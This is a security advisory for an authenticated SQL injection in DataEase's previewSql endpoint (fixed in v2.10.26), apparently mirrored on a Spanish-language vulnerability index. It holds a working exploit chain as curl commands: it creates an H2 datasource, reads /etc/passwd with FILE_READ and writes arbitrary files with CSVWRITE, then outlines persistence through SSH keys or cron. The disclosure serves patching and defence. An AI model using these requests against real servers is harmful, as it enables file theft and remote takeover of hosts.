GHSA-CF4W-7WQG-6RRH
Security Vulnerability in previewSql Endpoint for H2 Data Sources
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CF4W-7WQG-6RRH divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Impact
#### Summary
DataEase has an authenticated SQL injection vulnerability at the /de2api/datasetData/previewSql endpoint. Any logged-in authenticated user can create an in-memory H2 database data source and run arbitrary raw SQL statements through the SQL preview interface. The application lacks filtering for dangerous built-in H2 functions. Attackers can leverage FILE_READ() to read arbitrary server-side files and CSVWRITE() to write arbitrary content to server paths. This file write capability can be abused to overwrite SSH authorized keys, cron task files and other sensitive resources, ultimately achieving Remote Code Execution (RCE) on the host running DataEase.
#### Description
The /de2api/datasetData/previewSql API is used to preview SQL execution results for user-defined datasets. When a user creates an H2-type datasource (especially in-memory H2 instance jdbc:h2:mem:), the service forwards user-supplied SQL directly to the H2 database engine without blocking risky native H2 functions.
Two high-risk H2 built-in functions can be abused:
- FILE_READ(file_path): Reads content of any file accessible to the DataEase server process (e.g. /etc/passwd, application configuration files, credential files).
- CSVWRITE(target_path, query): Writes arbitrary user-controlled content to any filesystem path the service account has write permissions for.
Complete attack chain:
- Attacker obtains a valid authenticated session token (JWT/X-DE-TOKEN).
- Create an in-memory H2 datasource via /de2api/datasource/save.
curl -X POST http://target:8100/de2api/datasource/save \
-H "X-DE-TOKEN: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": null,
"name": "h2_read",
"type": "h2",
"pid": -1,
"nodeType": "h2",
"configuration": "<base64:{\"jdbc\":\"jdbc:h2:mem:test1;DB_CLOSE_DELAY=-1\",\"type\":\"h2\",\"username\":\"sa\",\"password\":\"\",\"urlType\":\"jdbcUrl\"}>"}'<img width="1400" height="447" alt="image" src="https://github.com/user-attachments/assets/9af50677-705d-42ad-b7df-fa1b11a25c46" />
- Use FILE_READ to extract sensitive local files.
SQL=$(echo -n "SELECT FILE_READ('/etc/passwd')" | base64 -w0)
curl -X POST http://target:8100/de2api/datasetData/previewSql \
-H "X-DE-TOKEN: $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"sql\":\"$SQL\",\"datasourceId\":\"<DATASOURCE_ID>\",\"isCross\":false}"<img width="1400" height="626" alt="image" src="https://github.com/user-attachments/assets/ee4696fe-a3ae-4a22-95f4-37380a2e58b0" />
- Use CSVWRITE to write arbitrary files to privileged directories.
SQL="SELECT CSVWRITE('<FILE_PATH>', CONCAT('SELECT NULL \"', '<FILE_CONTENT>', '\"'), 'UTF-8', '', '', '','', '')"
SQL_B64=$(echo -n "$SQL" | base64 -w0)
curl -X POST http://target:8100/de2api/datasetData/previewSql \
-H "X-DE-TOKEN: $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"sql\":\"$SQL\",\"datasourceId\":\"<DATASOURCE_ID>\",\"isCross\":false}"<img width="1400" height="625" alt="image" src="https://github.com/user-attachments/assets/8ea3175f-6601-4051-a681-15456a082744" />
- Persist access by writing SSH public keys into ~/.ssh/authorized_keys or deploying cron jobs, gaining interactive server access (RCE).
<img width="1400" height="625" alt="image" src="https://github.com/user-attachments/assets/6bcbe656-c9e8-481c-a275-d88f3c54c154" />
<img width="1727" height="557" alt="image" src="https://github.com/user-attachments/assets/d2f943c1-2e73-492e-b2f1-a5e0dbae6487" />
#### Impact
- Confidentiality: Full arbitrary file read, exposure of system passwords, internal configuration, database credentials and secret keys.
- Integrity: Arbitrary file write over writable server directories.
- Remote Code Execution: Attackers can maintain persistence and obtain shell access to the host machine.
- Availability: Risk of Denial of Service by overwriting critical application or system files.
Affected versions
Affected versions < v2.10.26
Patches
The vulnerability has been fixed in v2.10.26.
Workarounds
It is recommended to upgrade the version to v2.10.26.
References
If you have any questions or comments about this advisory:
- Open an issue in https://github.com/dataease/dataease
- Email us at wei@fit2cloud.com
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Mavenio.dataease |
Corregida | 2.10.26 | — | — |
2.10.26Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/dataease/dataease/security/advisories/GHSA-cf4w-7wqg-6rrhLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
